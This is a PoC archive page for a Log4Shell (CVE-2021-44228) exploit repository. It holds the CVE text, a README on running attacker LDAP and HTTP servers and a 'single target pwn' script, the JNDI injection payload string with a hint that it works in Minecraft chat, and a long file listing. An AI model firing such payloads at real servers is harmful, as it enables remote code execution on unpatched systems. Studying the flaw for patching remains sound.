Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
CVE-2021-44228
Readme
# log4j2-prosecutor

## Motivation
<p>This fundamental vulnerability was reported by [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) and patched by [this article. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)</p>
<p>However, the logging library for java called log4j2 had (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), which allowed access to protocols such as LDAP, which allowed code injection in older java versions.</p>
<p>Patched versions of java can prevent code injection, but `JNDILookup` makes request to ldap server, which can lead to IP leaks.</p>
<p>The solution is to update **Java** and **log4j2** versions.</p>

## Running
0. Install requirements
```
cd http-server && npm install && cd ../ldap-server && npm install
```
1. run `http-server` and `ldap-server` both
```
cd http-server && node index.js &
cd ldap-server && node index.js
```
2. Compile Main.java
```bash
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
```
3. Start jvm with parameters
```bash
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
```
4. Send payload to any parameters as the payload
(In minecraft, just chatting this will work if exploit's working.)
```
${jndi:ldap://127.0.0.1:3001/}
```
5. cleanup
```
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done
```

## Scripts
```
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
```

## References
- https://github.com/apache/logging-log4j2/pull/608
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/NCSC-NL/log4shell
- https://github.com/ilsubyeega/log4j2-exploits/
- https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
- https://www.blumira.com/analysis-log4shell-local-trigger/ (todo)

## License [GPL3]
See License in LICENSE
File Snapshot

[4.0K] /data/pocs/1ac9aeba69322662397bdd44521ab90cb9b94f7f ├── [ 70] cleanup.sh ├── [ 170] EchoShell.java ├── [2.3K] Grabber.java ├── [4.0K] http-server │   ├── [ 349] index.js │   ├── [ 54] package.json │   └── [ 695] package-lock.json ├── [ 312] java-single-compile.sh ├── [4.0K] ldap-server │   ├── [ 522] index.js │   ├── [ 47] package.json │   └── [8.0K] package-lock.json ├── [ 34K] LICENSE ├── [4.0K] log4j-client │   ├── [ 114] a.sh │   ├── [ 512] build.gradle │   ├── [4.0K] gradle │   │   └── [4.0K] wrapper │   │   ├── [ 58K] gradle-wrapper.jar │   │   └── [ 202] gradle-wrapper.properties │   ├── [7.9K] gradlew │   ├── [2.6K] gradlew.bat │   ├── [ 35] settings.gradle │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] win │   │   └── [4.0K] roto │   │   └── [4.0K] client │   │   └── [2.1K] Main.java │   └── [4.0K] resources │   └── [ 666] log4j2.xml ├── [4.0K] node_modules │   ├── [4.0K] abstract-logging │   │   ├── [ 235] index.js │   │   ├── [ 642] package.json │   │   ├── [1.0K] Readme.md │   │   └── [ 353] test.js │   ├── [4.0K] asn1 │   │   ├── [1.7K] Jenkinsfile │   │   ├── [4.0K] lib │   │   │   ├── [4.0K] ber │   │   │   │   ├── [ 240] errors.js │   │   │   │   ├── [ 469] index.js │   │   │   │   ├── [5.5K] reader.js │   │   │   │   ├── [ 638] types.js │   │   │   │   └── [7.5K] writer.js │   │   │   └── [ 320] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 782] package.json │   │   └── [1.2K] README.md │   ├── [4.0K] assert-plus │   │   ├── [5.3K] assert.js │   │   ├── [ 217] AUTHORS │   │   ├── [ 428] CHANGES.md │   │   ├── [ 553] package.json │   │   └── [4.7K] README.md │   ├── [4.0K] backoff │   │   ├── [2.4K] CHANGES.md │   │   ├── [1.1K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [2.1K] backoff.js │   │   │   ├── [6.0K] function_call.js │   │   │   └── [4.0K] strategy │   │   │   ├── [1.4K] exponential.js │   │   │   ├── [ 855] fibonacci.js │   │   │   └── [2.7K] strategy.js │   │   ├── [1.0K] LICENSE │   │   ├── [ 837] package.json │   │   ├── [ 11K] README.md │   │   └── [4.0K] tests │   │   ├── [2.7K] api.js │   │   ├── [4.9K] backoff.js │   │   ├── [2.9K] backoff_strategy.js │   │   ├── [1.8K] exponential_backoff_strategy.js │   │   ├── [1.3K] fibonacci_backoff_strategy.js │   │   └── [ 13K] function_call.js │   ├── [4.0K] core-util-is │   │   ├── [ 16K] float.patch │   │   ├── [4.0K] lib │   │   │   └── [3.0K] util.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 651] package.json │   │   ├── [ 67] README.md │   │   └── [2.1K] test.js │   ├── [4.0K] extsprintf │   │   ├── [ 165] CHANGES.md │   │   ├── [ 536] CONTRIBUTING.md │   │   ├── [6.8K] jsl.node.conf │   │   ├── [4.0K] lib │   │   │   └── [5.4K] extsprintf.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 622] Makefile │   │   ├── [8.2K] Makefile.targ │   │   ├── [ 281] package.json │   │   ├── [1.3K] README.md │   │   └── [4.0K] test │   │   ├── [2.8K] tst.basic.js │   │   └── [2.4K] tst.invalid.js │   ├── [4.0K] ldap-filter │   │   ├── [1.2K] CHANGES.md │   │   ├── [4.0K] lib │   │   │   ├── [1.5K] and_filter.js │   │   │   ├── [1.2K] approx_filter.js │   │   │   ├── [2.5K] equality_filter.js │   │   │   ├── [2.1K] ext_filter.js │   │   │   ├── [1.4K] ge_filter.js │   │   │   ├── [3.8K] helpers.js │   │   │   ├── [7.0K] index.js │   │   │   ├── [1.4K] le_filter.js │   │   │   ├── [1.1K] not_filter.js │   │   │   ├── [1.4K] or_filter.js │   │   │   ├── [1.1K] presence_filter.js │   │   │   └── [2.1K] substr_filter.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 787] package.json │   │   └── [ 162] README.md │   ├── [4.0K] ldapjs │   │   ├── [3.3K] CHANGES.md │   │   ├── [ 156] docker-compose.yml │   │   ├── [4.0K] docs │   │   │   ├── [4.0K] branding │   │   │   │   ├── [4.0K] public │   │   │   │   │   ├── [ 11] CNAME │   │   │   │   │   └── [4.0K] media │   │   │   │   │   ├── [4.0K] css │   │   │   │   │   │   └── [3.6K] style.css │   │   │   │   │   └── [4.0K] img │   │   │   │   │   └── [3.2K] logo.svg │   │   │   │   └── [ 992] template.html │   │   │   ├── [ 16K] client.md │   │   │   ├── [3.4K] dn.md │   │   │   ├── [2.1K] errors.md │   │   │   ├── [ 14K] examples.md │   │   │   ├── [8.6K] filters.md │   │   │   ├── [ 24K] guide.md │   │   │   ├── [2.7K] index.md │   │   │   └── [ 16K] server.md │   │   ├── [4.0K] examples │   │   │   ├── [1.5K] cluster-threading.js │   │   │   ├── [1.5K] cluster-threading-net-server.js │   │   │   ├── [4.1K] inmemory.js │   │   │   └── [ 501] snoopldap.d │   │   ├── [4.0K] lib │   │   │   ├── [1.3K] assert.js │   │   │   ├── [3.7K] attribute.js │   │   │   ├── [5.2K] change.js │   │   │   ├── [4.0K] client │   │   │   │   ├── [ 37K] client.js │   │   │   │   ├── [ 184] constants.js │   │   │   │   ├── [1.0K] index.js │   │   │   │   ├── [4.0K] message-tracker │   │   │   │   │   ├── [ 680] ge-window.js │   │   │   │   │   ├── [ 785] id-generator.js │   │   │   │   │   ├── [4.2K] index.js │   │   │   │   │   └── [1.4K] purge-abandoned.js │   │   │   │   ├── [4.0K] request-queue │   │   │   │   │   ├── [1.1K] enqueue.js │   │   │   │   │   ├── [ 750] flush.js │   │   │   │   │   ├── [1000] index.js │   │   │   │   │   └── [ 289] purge.js │   │   │   │   └── [5.1K] search_pager.js │   │   │   ├── [4.0K] controls │   │   │   │   ├── [1.3K] control.js │   │   │   │   ├── [2.0K] entry_change_notification_control.js │   │   │   │   ├── [2.6K] index.js │   │   │   │   ├── [2.0K] paged_results_control.js │   │   │   │   ├── [1.8K] persistent_search_control.js │   │   │   │   ├── [2.9K] server_side_sorting_request_control.js │   │   │   │   ├── [2.7K] server_side_sorting_response_control.js │   │   │   │   ├── [2.6K] virtual_list_view_request_control.js │   │   │   │   └── [3.0K] virtual_list_view_response_control.js │   │   │   ├── [1.7K] corked_emitter.js │   │   │   ├── [ 11K] dn.js │   │   │   ├── [3.2K] dtrace.js │   │   │   ├── [4.0K] errors │   │   │   │   ├── [1.3K] codes.js │   │   │   │   └── [3.7K] index.js │   │   │   ├── [4.0K] filters │   │   │   │   ├── [ 526] and_filter.js │   │   │   │   ├── [ 751] approx_filter.js │   │   │   │   ├── [1.5K] equality_filter.js │   │   │   │   ├── [ 951] escape.js │   │   │   │   ├── [1.4K] ext_filter.js │   │   │   │   ├── [1.3K] filter.js │   │   │   │   ├── [ 799] ge_filter.js │   │   │   │   ├── [5.4K] index.js │   │   │   │   ├── [ 775] le_filter.js │   │   │   │   ├── [ 478] not_filter.js │   │   │   │   ├── [ 519] or_filter.js │   │   │   │   ├── [ 794] presence_filter.js │   │   │   │   └── [1.7K] substr_filter.js │   │   │   ├── [1.8K] index.js │   │   │   ├── [ 127] logger.js │   │   │   ├── [4.0K] messages │   │   │   │   ├── [1.7K] abandon_request.js │   │   │   │   ├── [ 738] abandon_response.js │   │   │   │   ├── [3.6K] add_request.js │   │   │   │   ├── [ 471] add_response.js │   │   │   │   ├── [1.8K] bind_request.js │   │   │   │   ├── [ 475] bind_response.js │   │   │   │   ├── [1.6K] compare_request.js │   │   │   │   ├── [ 746] compare_response.js │   │   │   │   ├── [1.3K] del_request.js │   │   │   │   ├── [ 483] del_response.js │   │   │   │   ├── [3.0K] ext_request.js │   │   │   │   ├── [2.1K] ext_response.js │   │   │   │   ├── [2.1K] index.js │   │   │   │   ├── [2.4K] message.js │   │   │   │   ├── [2.1K] moddn_request.js │   │   │   │   ├── [ 489] moddn_response.js │   │   │   │   ├── [1.8K] modify_request.js │   │   │   │   ├── [ 483] modify_response.js │   │   │   │   ├── [5.1K] parser.js │   │   │   │   ├── [2.9K] result.js │   │   │   │   ├── [4.3K] search_entry.js │   │   │   │   ├── [2.0K] search_reference.js │   │   │   │   ├── [4.0K] search_request.js │   │   │   │   ├── [4.1K] search_response.js │   │   │   │   ├── [1.2K] unbind_request.js │   │   │   │   └── [1.6K] unbind_response.js │   │   │   ├── [3.0K] persistent_search.js │   │   │   ├── [1.1K] protocol.js │   │   │   ├── [ 24K] server.js │   │   │   └── [1.9K] url.js │   │   ├── [1.0K] LICENSE │   │   ├── [1.6K] package.json │   │   ├── [1.2K] README.md │   │   ├── [4.0K] scripts │   │   │   └── [3.1K] build-docs.js │   │   ├── [4.0K] test │   │   │   ├── [3.2K] attribute.test.js │   │   │   ├── [5.4K] change.test.js │   │   │   ├── [ 45K] client.test.js │   │   │   ├── [4.0K] controls │   │   │   │   ├── [1.1K] control.test.js │   │   │   │   ├── [1.6K] entry_change_notification_control.test.js │   │   │   │   ├── [1.4K] paged_results_control.test.js │   │   │   │   ├── [2.4K] persistent_search_control.test.js │   │   │   │   ├── [2.1K] server_side_sorting_control_request.test.js │   │   │   │   ├── [2.3K] server_side_sorting_control_response.test.js │   │   │   │   ├── [2.1K] virtual_list_view_request_control.test.js │   │   │   │   └── [1.6K] virtual_list_view_response_control.test.js │   │   │   ├── [3.2K] corked_emitter.test.js │   │   │   ├── [6.6K] dn.test.js │   │   │   ├── [1.2K] errors.test.js │   │   │   ├── [4.0K] filters │   │   │   │   ├── [1.1K] and.test.js │   │   │   │   ├── [1.7K] approx.test.js │   │   │   │   ├── [3.5K] eq.test.js │   │   │   │   ├── [1.9K] ext.test.js │   │   │   │   ├── [2.4K] ge.test.js │   │   │   │   ├── [2.3K] le.test.js │   │   │   │   ├── [ 833] not.test.js │   │   │   │   ├── [1.1K] or.test.js │   │   │   │   ├── [3.1K] parse.test.js │   │   │   │   ├── [1.6K] presence.test.js │   │   │   │   └── [3.3K] substr.test.js │   │   │   ├── [4.0K] imgs │   │   │   │   └── [ 740] test.jpg │   │   │   ├── [3.7K] laundry.test.js │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] client │   │   │   │   ├── [4.0K] message-tracker │   │   │   │   │   ├── [1.3K] ge-window.test.js │   │   │   │   │   ├── [ 542] id-generator.test.js │   │   │   │   │   ├── [4.9K] index.test.js │   │   │   │   │   └── [1.6K] purge-abandoned.test.js │   │   │   │   └── [4.0K] request-queue │   │   │   │   ├── [1.8K] enqueue.test.js │   │   │   │   ├── [ 869] flush.test.js │   │   │   │   └── [ 408] purge.test.js │   │   │   ├── [4.0K] messages │   │   │   │   ├── [3.0K] add_request.test.js │   │   │   │   ├── [1.1K] add_response.test.js │   │   │   │   ├── [1.3K] bind_request.test.js │   │   │   │   ├── [1.2K] bind_response.test.js │   │   │   │   ├── [1.4K] compare_request.test.js │   │   │   │   ├── [1.2K] compare_response.test.js │   │   │   │   ├── [1000] del_request.test.js │   │   │   │   ├── [1.2K] del_response.test.js │   │   │   │   ├── [3.2K] ext_request.test.js │   │   │   │   ├── [1.6K] ext_response.test.js │   │   │   │   ├── [1.4K] moddn_request.test.js │   │   │   │   ├── [1.2K] moddn_response.test.js │   │   │   │   ├── [2.2K] modify_request.test.js │   │   │   │   ├── [1.2K] modify_response.test.js │   │   │   │   ├── [1.0K] parser.test.js │   │   │   │   ├── [2.3K] search_entry.test.js │   │   │   │   ├── [2.4K] search_request.test.js │   │   │   │   ├── [1.2K] search_response.test.js │   │   │   │   └── [ 705] unbind_request.test.js │   │   │   ├── [ 12K] server.test.js │   │   │   ├── [1.5K] url.test.js │   │   │   └── [ 367] utils.js │   │   └── [4.0K] test-integration │   │   └── [4.0K] client │   │   ├── [ 504] connect.test.js │   │   └── [2.7K] issues.test.js │   ├── [4.0K] once │   │   ├── [ 765] LICENSE │   │   ├── [ 935] once.js │   │   ├── [ 574] package.json │   │   └── [1.7K] README.md │   ├── [4.0K] precond │   │   ├── [ 123] index.js │   │   ├── [4.0K] lib │   │   │   ├── [2.7K] checks.js │   │   │   └── [ 632] errors.js │   │   ├── [ 700] package.json │   │   └── [5.9K] README.md │   ├── [4.0K] safer-buffer │   │   ├── [1.4K] dangerous.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 822] package.json │   │   ├── [ 12K] Porting-Buffer.md │   │   ├── [8.1K] Readme.md │   │   ├── [2.1K] safer.js │   │   └── [ 15K] tests.js │   ├── [4.0K] vasync │   │   ├── [ 938] CHANGES.md │   │   ├── [4.0K] examples │   │   │   ├── [ 552] barrier-basic.js │   │   │   ├── [ 602] barrier-readdir.js │   │   │   ├── [ 378] foreach-parallel.js │   │   │   ├── [ 378] foreach-pipeline.js │   │   │   ├── [ 384] nofail.js │   │   │   ├── [ 513] parallel.js │   │   │   ├── [ 522] pipeline.js │   │   │   ├── [ 441] queue-serializer.js │   │   │   ├── [ 529] queue-stat.js │   │   │   ├── [ 357] waterfall.js │   │   │   └── [ 409] whilst.js │   │   ├── [2.4K] Jenkinsfile │   │   ├── [6.8K] jsl.node.conf │   │   ├── [4.0K] lib │   │   │   └── [ 23K] vasync.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 525] Makefile │   │   ├── [8.3K] Makefile.targ │   │   ├── [4.0K] node_modules │   │   │   └── [4.0K] verror │   │   │   ├── [ 505] CHANGES.md │   │   │   ├── [ 770] CONTRIBUTING.md │   │   │   ├── [4.0K] lib │   │   │   │   └── [ 12K] verror.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 406] package.json │   │   │   └── [ 21K] README.md │   │   ├── [ 571] package.json │   │   ├── [ 24K] README.md │   │   └── [4.0K] tests │   │   ├── [3.4K] compat.js │   │   ├── [2.4K] compat_tryEach.js │   │   ├── [5.2K] filter.js │   │   ├── [ 475] issue-21.js │   │   ├── [4.0K] pipeline.js │   │   ├── [2.6K] queue_concurrency.js │   │   ├── [5.4K] queue.js │   │   ├── [4.7K] waterfall.js │   │   └── [2.4K] whilst.js │   ├── [4.0K] verror │   │   ├── [ 548] CHANGES.md │   │   ├── [ 537] CONTRIBUTING.md │   │   ├── [4.0K] lib │   │   │   └── [ 12K] verror.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 499] package.json │   │   └── [ 21K] README.md │   └── [4.0K] wrappy │   ├── [ 765] LICENSE │   ├── [ 606] package.json │   ├── [ 685] README.md │   └── [ 905] wrappy.js ├── [ 7] npm-requirements.txt ├── [ 51] package.json ├── [8.8K] package-lock.json ├── [ 9] python-requirements.txt ├── [2.4K] README.md ├── [ 87] run.sh ├── [4.0K] scripts │   └── [4.0K] single-pwn │   ├── [ 462] __main__.py │   └── [1.4K] pwn.py └── [ 250] test.sh 73 directories, 312 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →